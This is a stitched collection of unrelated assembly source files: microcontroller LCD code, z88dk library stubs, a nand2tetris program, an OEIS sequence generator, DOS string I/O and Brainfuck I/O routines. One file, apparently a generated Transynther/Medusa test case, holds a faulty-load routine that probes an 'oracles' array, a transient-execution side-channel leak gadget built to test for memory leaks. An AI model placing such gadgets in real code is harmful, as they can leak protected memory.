;LCD_i2c.mbas,181 :: for i = 0 to Strlen(text) - 1
CLRF I2C_LCD_Out_i+0
L__I2C_LCD_Out40:
MOVF FARG_I2C_LCD_Out_text+0, 0
MOVWF FARG_strlen_s+0
MOVF FARG_I2C_LCD_Out_text+1, 0
MOVWF FARG_strlen_s+1
CALL _strlen+0, 0
MOVLW 1
SUBWF R0, 0
MOVWF FLOC__I2C_LCD_Out+0
MOVLW 0
SUBWFB R1, 0
MOVWF FLOC__I2C_LCD_Out+1
MOVLW 0
SUBWF FLOC__I2C_LCD_Out+1, 0
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Out62
MOVF I2C_LCD_Out_i+0, 0
SUBWF FLOC__I2C_LCD_Out+0, 0
L__I2C_LCD_Out62:
BTFSS STATUS+0, 0
GOTO L__I2C_LCD_Out44
;LCD_i2c.mbas,182 :: I2C_LCD_Chr(row, column, text[i])
MOVF FARG_I2C_LCD_Out_row+0, 0
MOVWF FARG_I2C_LCD_Chr_row+0
MOVF FARG_I2C_LCD_Out_column+0, 0
MOVWF FARG_I2C_LCD_Chr_column+0
MOVF I2C_LCD_Out_i+0, 0
ADDWF FARG_I2C_LCD_Out_text+0, 0
MOVWF FSR0
MOVLW 0
ADDWFC FARG_I2C_LCD_Out_text+1, 0
MOVWF FSR0H
MOVF POSTINC0+0, 0
MOVWF FARG_I2C_LCD_Chr_out_char+0
CALL _I2C_LCD_Chr+0, 0
;LCD_i2c.mbas,183 :: column = column + 1
INCF FARG_I2C_LCD_Out_column+0, 1
;LCD_i2c.mbas,184 :: next i
MOVLW 0
XORWF FLOC__I2C_LCD_Out+1, 0
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Out63
MOVF FLOC__I2C_LCD_Out+0, 0
XORWF I2C_LCD_Out_i+0, 0
L__I2C_LCD_Out63:
BTFSC STATUS+0, 2
GOTO L__I2C_LCD_Out44
INCF I2C_LCD_Out_i+0, 1
GOTO L__I2C_LCD_Out40
L__I2C_LCD_Out44:
;LCD_i2c.mbas,185 :: end sub
L_end_I2C_LCD_Out:
RETURN 0
; end of _I2C_LCD_Out
_I2C_LCD_Out_Cp:
;LCD_i2c.mbas,188 :: Dim i as byte
;LCD_i2c.mbas,190 :: for i = 0 to Strlen(text) - 1
CLRF I2C_LCD_Out_Cp_i+0
L__I2C_LCD_Out_Cp46:
MOVF FARG_I2C_LCD_Out_Cp_text+0, 0
MOVWF FARG_strlen_s+0
MOVF FARG_I2C_LCD_Out_Cp_text+1, 0
MOVWF FARG_strlen_s+1
CALL _strlen+0, 0
MOVLW 1
SUBWF R0, 0
MOVWF FLOC__I2C_LCD_Out_Cp+0
MOVLW 0
SUBWFB R1, 0
MOVWF FLOC__I2C_LCD_Out_Cp+1
MOVLW 0
SUBWF FLOC__I2C_LCD_Out_Cp+1, 0
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Out_Cp65
MOVF I2C_LCD_Out_Cp_i+0, 0
SUBWF FLOC__I2C_LCD_Out_Cp+0, 0
L__I2C_LCD_Out_Cp65:
BTFSS STATUS+0, 0
GOTO L__I2C_LCD_Out_Cp50
;LCD_i2c.mbas,191 :: I2C_LCD_Chr_Cp(text[i])
MOVF I2C_LCD_Out_Cp_i+0, 0
ADDWF FARG_I2C_LCD_Out_Cp_text+0, 0
MOVWF FSR0
MOVLW 0
ADDWFC FARG_I2C_LCD_Out_Cp_text+1, 0
MOVWF FSR0H
MOVF POSTINC0+0, 0
MOVWF FARG_I2C_LCD_Chr_Cp_out_char+0
CALL _I2C_LCD_Chr_Cp+0, 0
;LCD_i2c.mbas,192 :: next i
MOVLW 0
XORWF FLOC__I2C_LCD_Out_Cp+1, 0
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Out_Cp66
MOVF FLOC__I2C_LCD_Out_Cp+0, 0
XORWF I2C_LCD_Out_Cp_i+0, 0
L__I2C_LCD_Out_Cp66:
BTFSC STATUS+0, 2
GOTO L__I2C_LCD_Out_Cp50
INCF I2C_LCD_Out_Cp_i+0, 1
GOTO L__I2C_LCD_Out_Cp46
L__I2C_LCD_Out_Cp50:
;LCD_i2c.mbas,193 :: end sub
L_end_I2C_LCD_Out_Cp:
RETURN 0
; end of _I2C_LCD_Out_Cp
_main:
;LCD_i2c.mbas,197 :: org 0x1000
;LCD_i2c.mbas,200 :: txt1 = "I2C LCD EXAMPLE"
MOVLW 73
MOVWF _txt1+0
MOVLW 50
MOVWF _txt1+1
MOVLW 67
MOVWF _txt1+2
MOVLW 32
MOVWF _txt1+3
MOVLW 76
MOVWF _txt1+4
MOVLW 67
MOVWF _txt1+5
MOVLW 68
MOVWF _txt1+6
MOVLW 32
MOVWF _txt1+7
MOVLW 69
MOVWF _txt1+8
MOVLW 88
MOVWF _txt1+9
MOVLW 65
MOVWF _txt1+10
MOVLW 77
MOVWF _txt1+11
MOVLW 80
MOVWF _txt1+12
MOVLW 76
MOVWF _txt1+13
MOVLW 69
MOVWF _txt1+14
CLRF _txt1+15
;LCD_i2c.mbas,201 :: txt2 = "Hola mundo! :)"
MOVLW 72
MOVWF _txt2+0
MOVLW 111
MOVWF _txt2+1
MOVLW 108
MOVWF _txt2+2
MOVLW 97
MOVWF _txt2+3
MOVLW 32
MOVWF _txt2+4
MOVLW 109
MOVWF _txt2+5
MOVLW 117
MOVWF _txt2+6
MOVLW 110
MOVWF _txt2+7
MOVLW 100
MOVWF _txt2+8
MOVLW 111
MOVWF _txt2+9
MOVLW 33
MOVWF _txt2+10
MOVLW 32
MOVWF _txt2+11
MOVLW 58
MOVWF _txt2+12
MOVLW 41
MOVWF _txt2+13
CLRF _txt2+14
;LCD_i2c.mbas,203 :: I2C1_Init(100000)
MOVLW 120
MOVWF SSPADD+0
CALL _I2C1_Init+0, 0
;LCD_i2c.mbas,205 :: I2C_LCD_Init()
CALL _I2C_LCD_Init+0, 0
;LCD_i2c.mbas,206 :: I2C_LCD_Cmd(_LCD_CURSOR_OFF)
MOVLW 12
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
;LCD_i2c.mbas,207 :: I2C_LCD_Cmd(_LCD_CLEAR)
MOVLW 1
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
;LCD_i2c.mbas,208 :: I2C_Lcd_Out(1,1,txt1) ' Write text in first row
MOVLW 1
MOVWF FARG_I2C_LCD_Out_row+0
MOVLW 1
MOVWF FARG_I2C_LCD_Out_column+0
MOVLW _txt1+0
MOVWF FARG_I2C_LCD_Out_text+0
MOVLW hi_addr(_txt1+0)
MOVWF FARG_I2C_LCD_Out_text+1
CALL _I2C_LCD_Out+0, 0
;LCD_i2c.mbas,209 :: I2C_Lcd_Out(2,1,txt2) ' Write text in second row
MOVLW 2
MOVWF FARG_I2C_LCD_Out_row+0
MOVLW 1
MOVWF FARG_I2C_LCD_Out_column+0
MOVLW _txt2+0
MOVWF FARG_I2C_LCD_Out_text+0
MOVLW hi_addr(_txt2+0)
MOVWF FARG_I2C_LCD_Out_text+1
CALL _I2C_LCD_Out+0, 0
;LCD_i2c.mbas,211 :: while(TRUE)
L__main53:
GOTO L__main53
;LCD_i2c.mbas,213 :: Wend
L_end_main:
GOTO $+0
; end of _main
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/heap_free_callee.asm | teknoplop/z88dk | 0 | 245515 | <reponame>teknoplop/z88dk
; void heap_free(void *heap, void *p)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_alloc_malloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC heap_free_callee
EXTERN asm_heap_free
heap_free_callee:
pop af
pop hl
pop de
push af
jp asm_heap_free
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC heap_free_callee
EXTERN heap_free_unlocked_callee
defc heap_free_callee = heap_free_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_nmi_isr.asm | jpoikela/z88dk | 640 | 2746 | <reponame>jpoikela/z88dk<gh_stars>100-1000
; void SMS_nmi_isr(void)
SECTION code_clib
SECTION code_SMSlib
PUBLIC _SMS_nmi_isr
EXTERN asm_SMSlib_nmi_isr
defc _SMS_nmi_isr = asm_SMSlib_nmi_isr
|
04/fill/Fill.asm | jonosmith/nand2tetris | 0 | 29230 | <reponame>jonosmith/nand2tetris
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by <NAME>, MIT Press.
// File name: projects/04/Fill.asm
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel;
// the screen should remain fully black as long as the key is pressed.
// When no key is pressed, the program clears the screen, i.e. writes
// "white" in every pixel;
// the screen should remain fully clear as long as no key is pressed.
// Put your code here.
@currentScreenState
M=0 // currentScreenState = white
@desiredScreenState
M=0 // desiredScreenState = white
(LOOP)
@KBD
D=M // D = Current keyboard character
@SET_DESIRED_WHITE
D;JEQ
(SET_DESIRED_BLACK)
@desiredScreenState
M=-1 // All 1 bits
@SET_SCREEN
0;JMP // Set screen now
(SET_DESIRED_WHITE)
@desiredScreenState
M=0
@SET_SCREEN
0;JMP // Set screen now
(SET_SCREEN)
@desiredScreenState
D=M
@currentScreenState
D=D-M // desiredScreenState - currentScreenState
@LOOP
D;JEQ // Jump back to main loop if screen is already in desired state
// Setup screen setting
@SCREEN
D=A // D = Screen address
@8192
D=D+A // Byte after last screen address byte
@i
M=D // i = Byte after last screen address byte
@8192
D=A
@screenCounter
M=D // screenCounter = length of screen address space
// Record new state of screen
@desiredScreenState
D=M // D = desiredScreenState
@currentScreenState
M=D // currentScreenState = desiredScreenState
(SET_SCREEN_LOOP)
@i
D=M-1
M=D // i = i - 1
@screenCounter
D=M-1
M=D // screenCounter = screenCounter - 1
@LOOP
D;JLT // Jump back to main loop if screen has finished being filled according to desired state
@desiredScreenState
D=M // D = desiredScreenState (black or white)
@i
A=M // A = i
M=D // M[i] = desiredScreenState
@SET_SCREEN_LOOP
0;JMP |
programs/oeis/106/A106188.asm | karttu/loda | 0 | 169878 | <gh_stars>0
; A106188: Expansion of 1/((1-x^2)*sqrt(1-4*x)).
; 1,2,7,22,77,274,1001,3706,13871,52326,198627,757758,2902783,11158358,43019383,166275878,644099773,2499882098,9719235073,37845145898,147565763893,576103020338,2251664727613,8809533747938,34499268410713,135220140185690,530417801358817,2082159565833802,8179108402119257
mov $2,$0
mov $3,$0
add $3,1
lpb $3,1
mov $0,$2
sub $3,1
sub $0,$3
sub $0,1
cal $0,54108 ; a(n)=(-1)^(n+1)*sum(k=0,n+1,(-1)^k*binomial(2*k,k)).
add $1,$0
lpe
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_970_339.asm | ljhsiun2/medusa | 9 | 5468 | <reponame>ljhsiun2/medusa<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x65db, %rsi
nop
nop
nop
nop
nop
cmp $1342, %rbx
movw $0x6162, (%rsi)
nop
nop
nop
sub $11859, %rsi
lea addresses_WC_ht+0x159db, %rsi
lea addresses_WC_ht+0x120db, %rdi
nop
nop
xor $18058, %r14
mov $2, %rcx
rep movsw
nop
nop
nop
add $28732, %rsi
lea addresses_D_ht+0x1a75b, %rbx
nop
nop
nop
inc %r8
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rbx)
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x1593b, %rcx
nop
sub %r14, %r14
movb $0x61, (%rcx)
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WT_ht+0x163b8, %r14
nop
nop
nop
and $6035, %rbx
movb (%r14), %cl
nop
nop
dec %rsi
lea addresses_D_ht+0xf3db, %rsi
lea addresses_D_ht+0x146b, %rdi
nop
nop
sub %rbx, %rbx
mov $85, %rcx
rep movsb
nop
nop
inc %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rax
push %rbp
push %rbx
push %rdi
push %rdx
// Store
lea addresses_WC+0x1927b, %rdi
nop
xor $50107, %rax
mov $0x5152535455565758, %r9
movq %r9, %xmm6
vmovups %ymm6, (%rdi)
and $37117, %rax
// Store
mov $0x347a800000001db, %rdx
nop
nop
nop
sub %rbp, %rbp
mov $0x5152535455565758, %r14
movq %r14, (%rdx)
nop
nop
nop
nop
dec %rdx
// Load
lea addresses_D+0x9f73, %rax
nop
nop
nop
nop
add $63688, %rdx
vmovups (%rax), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbp
nop
nop
nop
and $872, %r9
// Load
lea addresses_WT+0x1e8ec, %rdx
nop
nop
nop
nop
nop
add $27269, %rax
movups (%rdx), %xmm1
vpextrq $1, %xmm1, %r9
dec %r14
// Faulty Load
mov $0x347a800000001db, %r9
nop
add $48056, %r14
vmovups (%r9), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rax
lea oracles, %rdx
and $0xff, %rax
shlq $12, %rax
mov (%rdx,%rax,1), %rax
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'00': 970}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
alloy4fun_models/trashltl/models/9/bgqBf7iq6mDo42yav.als | Kaixi26/org.alloytools.alloy | 0 | 116 | open main
pred idbgqBf7iq6mDo42yav_prop10 {
always (all f:File | f in Protected implies always f in Protected)
}
pred __repair { idbgqBf7iq6mDo42yav_prop10 }
check __repair { idbgqBf7iq6mDo42yav_prop10 <=> prop10o } |
string operations/input & ouput of string.asm | informramiz/Assembly-Language-Programs | 0 | 169670 | <gh_stars>0
.MODEL SMALL
.STACK 100H
.DATA
STRING DB 80 DUP ( 0 )
INPUT_MSG DB 0AH,0DH,'Enter a string: $'
OUTPUT_MSG DB 0AH,0DH,'String is: $'
.CODE
MAIN PROC
MOV AX,@DATA
MOV DS,AX
MOV ES,AX
LEA DX,INPUT_MSG
CALL STR_OUTPUT
LEA DI,STRING
CALL INPUT
LEA DX,OUTPUT_MSG
CALL STR_OUTPUT
LEA SI,STRING
CALL OUTPUT
EXIT:
MOV AH,4CH
INT 21H
MAIN ENDp
INPUT PROC ;use di as input and gives output in bx
PUSH DI
PUSH AX
XOR BX,BX
CLD
MOV AH,1
INT 21H
WHILE1: ;take input and store the characters
CMP AL,0DH
JE END_WHILE1
CMP AL,8H
JNE ELSE1
DEC DI
DEC BX
JMP NEXT
ELSE1:
STOSB
INC BX
NEXT:
INT 21H
JMP WHILE1
END_WHILE1:
POP AX
POP DI
RET
INPUT ENDP
OUTPUT PROC ;use si and bx as input and print the string
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
MOV CX,BX
JCXZ RETURN
CLD
MOV AH,2
PRINT: ;prints the stored string
LODSB
MOV DL,AL
INT 21H
LOOP PRINT
RETURN:
POP SI
POP DX
POP CX
POP BX
POP AX
RET
OUTPUT ENDP
STR_OUTPUT PROC
PUSH AX
PUSH DX
MOV AH,9
INT 21H
POP DX
POP AX
RET
STR_OUTPUT ENDP
END MAIN
|
test_programs/til_count.asm | mfkiwl/QNICE-FPGA-hyperRAM | 53 | 83543 | ;; This is the very first "real" QNICE-FPGA test program which is and was used during the
;; initial development of QNICE-FPGA by sy2002 in July 2015.
;;
;; It is inspired by the original test program by vaxman, "til_count.asm", that displays
;; a count on the TIL-311 display on the original QNICE/A evaluation board.
#include "../dist_kit/sysdef.asm"
FLAG_C_SET .EQU 0x0004 ; bit pattern for setting the carry flag with OR
FLAG_C_CLEAR .EQU 0xFFFB ; bit pattern for clearing the carry flag with AND
; QNICE-FPGA in the current early stage of development is running at about 20 MIPS. As the
; inner loop consists of two instructions, we need to count to about 10.000.000 for having
; the effect of an ~1 Hz incrementing counter on the TIL.
; So we choose WAIT_CYCLES1 as 5.000 equ 0x1388 and WAIT_CYCLES2 as 2.000 equ 0x07D0
WAIT_CYCLES1 .EQU 0x1388
WAIT_CYCLES2 .EQU 0x07D0
.ORG 0x8000 ; Start address
MOVE 0x0000, R0 ; Clear R0
MOVE IO$TIL_DISPLAY, R1 ; Base address of TIL-display for output
MOVE IO$TIL_MASK, R9 ; Mask register of TIL-display for selecting which TIL is lit
; Write contents of R0 to the TIL-display
LOOP MOVE R0, @R1
; Create mask for TIL digits, so that only those TILs are lit, that are displaying non zero digits
MOVE 0x000F, R4 ; R4 is the resulting mask; at first, we assume all four digits are lit
MOVE 0xF000, R5 ; R5 is the bit parttern to check, if a certain digit shall be lit
MOVE 0x0003, R7 ; R7 is the loop counter
CREATE_MASK MOVE R5, R6 ; use the pattern and ...
AND R0, R6 ; ... check if one of the bits is set at the digit position implied the mask
RBRA MASK_READY, !Z ; if bits are set, then mask is ready
AND FLAG_C_CLEAR, R14 ; clear C because SHR fills with C (not necessarry, because C is never set before)
SHR 1, R4 ; make the mask smaller by one bit
SHR 4, R5 ; move the "scanner pattern" to the next digit (i.e. 4 bits)
SUB 1, R7 ; reduce counter (counter necessary to avoid endless loop in case of R0 == 0)
RBRA CREATE_MASK, !Z ; next iteration
; Set mask register of TIL-display
MASK_READY MOVE R4, @R9
; waste cycles to approximate a 1 Hz execution
MOVE WAIT_CYCLES2, R3
WAIT_LOOP2 MOVE WAIT_CYCLES1, R2
WAIT_LOOP1 SUB 1, R2 ; Decrement loop counter
RBRA WAIT_LOOP1, !Z ; If not zero, perform next loop
SUB 1, R3
RBRA WAIT_LOOP2, !Z
ADD 1, R0 ; Increment R0
RBRA LOOP, !Z ; Unconditional jump to display the next value
HALT ; stop the CPU
; this whitespace line is currently necessary due to a QNICE assembler bug
|
bfio.asm | leafstorm/branflake | 1 | 169223 | ;--------------------------------------------------------------------------
;
; BFIO.ASM
;
; This file contains subroutines integrated into BFTRANS for input and
; output.
;
; (C) 2013, <NAME> <<EMAIL>>
; Released under the terms of the MIT/X11 license,
; see the LICENSE file for details.
;
;--------------------------------------------------------------------------
.model small ; 64K data, 64K code.
.8086 ; 8086 instructions only.
include bfio.inc ; Header with constant definitions.
;--------------------------------------------------------------------------
; INPUT STREAM INFORMATION:
; These variables are globally accessible.
;--------------------------------------------------------------------------
.data
;--------------------------------------------------------------------------
inputchar dw 0 ; Absolute location of the last
; character read. Works for up to 64K.
inputline dw 1 ; Line number of last character read.
inputcol dw 0 ; Column number of last character read.
;--------------------------------------------------------------------------
; inputread subroutine:
; Reads the next character from standard input, and updates the
; position variables.
;
; Input:
; None.
;
; Output:
; The character read is stored in the dl register.
; All other registers retain their original values.
;--------------------------------------------------------------------------
.code
;--------------------------------------------------------------------------
inputread:
push ax ; Save ax on the stack.
mov ah, 8 ; ah = 8: read character to al.
int 21h ; Invoke DOS to read the character.
mov dl, al ; Move the character to dl.
inc [inputchar] ; Update the character counter.
inc [inputcol] ; Update the column counter.
cmp dl, LF ; Was the character a linefeed?
jne inputread_end ; Skip to the end if not.
inc [inputline] ; Increment the line counter.
mov [inputcol], 1 ; Reset the column counter.
inputread_end:
pop ax ; Restore old value of ax.
ret ; Return to caller.
;--------------------------------------------------------------------------
; outputfmt subroutine:
; Writes a series of strings and numbers to standard output.
;
; Input:
; bx: The offset to a message pattern. This is a list of words.
; - ENDMSG means "stop here."
; - NUMBER means "read the next number from the stack."
; (Note that this won't actually affect the stack - you'll need to
; clean up the stack after this subroutine returns.)
; - Anything else means "print the $-terminated string at this offset."
;
; Output:
; None. All registers retain their original values.
;
; Errors:
; No error checking is done, so weird stuff will happen if invalid data
; is provided.
;--------------------------------------------------------------------------
outputfmt:
push bp ; bp: Stack pointer.
mov bp, sp ; Make the stack addressable.
add bp, 2 ; Skip the bp we just pushed.
push dx ; dx: Offset to message.
push bx ; bx: Current item in output list.
push ax ; ax: Overwritten a lot.
jmp outputfmt_choose ; Start out working with bx.
outputfmt_next:
add bx, 2 ; Move to the next word in bx.
outputfmt_choose: ; Handle the next item in bx.
mov dx, [bx] ; Load the next message item.
cmp dx, ENDMSG ; Is this the end of the message?
je outputfmt_exit ; If so, return to caller.
cmp dx, NUMBER ; Do we need to print a number?
je outputfmt_number ; If so, handle that case.
outputfmt_string: ; Otherwise, we just print a string.
mov ah, 9 ; ah = 2: output $-terminated string.
int 21h ; Invoke DOS to write it out.
jmp outputfmt_next ; Jump back to the top.
outputfmt_number:
add bp, 2 ; Move to the next number on stack.
; (On the first loop, this will skip
; the return address.)
mov ax, [bp] ; Load it into ax for outputdec.
call outputdec ; Use outputdec to actually write it.
jmp outputfmt_next ; Jump back to the top.
outputfmt_exit:
pop ax ; Pop ax, bx, dx, and bp in
pop bx ; reverse order.
pop dx
pop bp
ret ; Return to caller.
;--------------------------------------------------------------------------
; outputdec subroutine:
; Writes an unsigned word to standard output, in decimal format.
;
; Input:
; ax: The unsigned word to write.
;
; Output:
; None. All registers retain their original values.
;--------------------------------------------------------------------------
.data
;--------------------------------------------------------------------------
outputdec_base dw 10 ; The base to divide by.
;--------------------------------------------------------------------------
.code
;--------------------------------------------------------------------------
outputdec:
push dx ; dx: Divisor, and character to write.
push cx ; cx: Number of digits to write.
push ax ; ax: Quotient.
mov cx, 1 ; Initialize the counter.
outputdec_divloop:
cmp ax, 10 ; Are we on the last digit?
jb outputdec_write ; If so, skip to the write loop.
mov dx, 0 ; Set dx to 0 to prevent overflow.
div [outputdec_base] ; Divide ax by 10.
push dx ; Store the remainder on the stack.
; We'll pop it when writing.
inc cx ; Increase the digit counter.
jmp outputdec_divloop ; Process the quotient.
outputdec_write:
push ax ; Push the last digit on the stack.
; This is slightly wasteful, but
; it makes the logic cleaner.
outputdec_writeloop:
pop dx ; Pop the next digit to write.
add dl, 30h ; Bring it to the correct range
; for ASCII digits.
mov ah, 2 ; ah = 2: write character in dl.
int 21h ; Invoke DOS to write it out.
loop outputdec_writeloop ; Loop until all digits are written.
outputdec_exit:
pop ax ; Pop ax, cx, and dx in reverse order.
pop cx
pop dx
ret ; Return to caller.
end
|
programs/oeis/059/A059839.asm | neoneye/loda | 22 | 85251 | ; A059839: a(n) = n^8 + n^6 + n^4 + n^2 + 1.
; 1,5,341,7381,69905,406901,1727605,5884901,17043521,43584805,101010101,216145205,432988561,820586261,1483357205,2574332101,4311810305,6999978821,11054078101,17030739605,25664160401,37908820405,54989488181,78459301541,110266749505,152832422501,209136438005,282817489141,378284504081,500841944405,656829810901,853779465605,1100586419201,1407701273221,1787340046805,2253715158101,2823288370705,3515047055861,4350805161461,5355530319205,6557698561601,7989678160805,9688144141621,11694525061301,14055483689105,16823433258901,20057091008405,23822070758981,28191516330241,33246777624005,39078131252501,45785547626005,53479506455441,62281862665781,72326764756405,83761627684901,96748162391105,111463464118501,128101161730421,146872630258805,168008268963601,191758847221205,218396920600661,248218319526661,281543712968705,318720249636101,360123279198805,406158156094421,457262128522001,513906315263605,576597773014901,645881656946405,722343477257281,806611454523941,899358976686005,1001307160552501,1113227520751505,1235944749086741,1370339607304981,1517351936318405,1677983784966401,1853302661441605,2044444910545301,2252619219977621,2479110258908305,2725282452114101,2992583893009205,3282550398935461,3596809712119361,3937085849743205,4305203606618101,4703093213986805,5132795158024721,5596465161647701,6096379333275605,6634939486240901,7214678632571905,7838266654920581,8508516160445141,9228388520498005
pow $0,2
mov $2,$0
pow $2,3
add $2,$0
add $0,1
mul $0,$2
div $0,4
mul $0,4
add $0,1
|
scripts/PokemonTower4F.asm | opiter09/ASM-Machina | 1 | 80442 | <filename>scripts/PokemonTower4F.asm
PokemonTower4F_Script:
call EnableAutoTextBoxDrawing
ld hl, PokemonTower4TrainerHeaders
